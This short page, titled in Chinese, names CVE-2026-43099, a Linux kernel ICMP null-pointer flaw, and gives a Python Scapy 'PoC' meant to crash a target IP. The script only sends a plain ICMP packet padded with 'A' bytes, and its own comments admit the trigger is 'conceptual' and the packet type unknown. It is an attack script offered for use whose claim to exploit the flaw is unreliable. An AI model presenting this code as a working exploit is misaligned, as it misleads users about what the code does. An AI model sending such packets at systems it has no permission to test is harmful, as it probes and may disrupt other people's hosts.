CVE-2026-43099 Linux内核icmp空指针解引用漏洞

/* * PoC for CVE-2026-43099 * This script attempts to trigger the icmp_build_probe vulnerability. * Requires Scapy installed. */ from scapy.all import * import sys def send_exploit(target_ip): # Construct a packet that triggers the vulnerable code path. # The specific ICMP type/code needs to match the probe implementation. # Based on the context, it involves IPv6 interface identifier handling. # Example: Sending a crafted ICMP packet (Type/Code depends on specific kernel feature) # This is a conceptual trigger. packet = IP(dst=target_ip) / ICMP() / Raw(load=b"A" * 100) print(f"[*] Sending exploit packet to {target_ip}...") send(packet, verbose=0) print("[*] Packet sent.") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) send_exploit(sys.argv[1])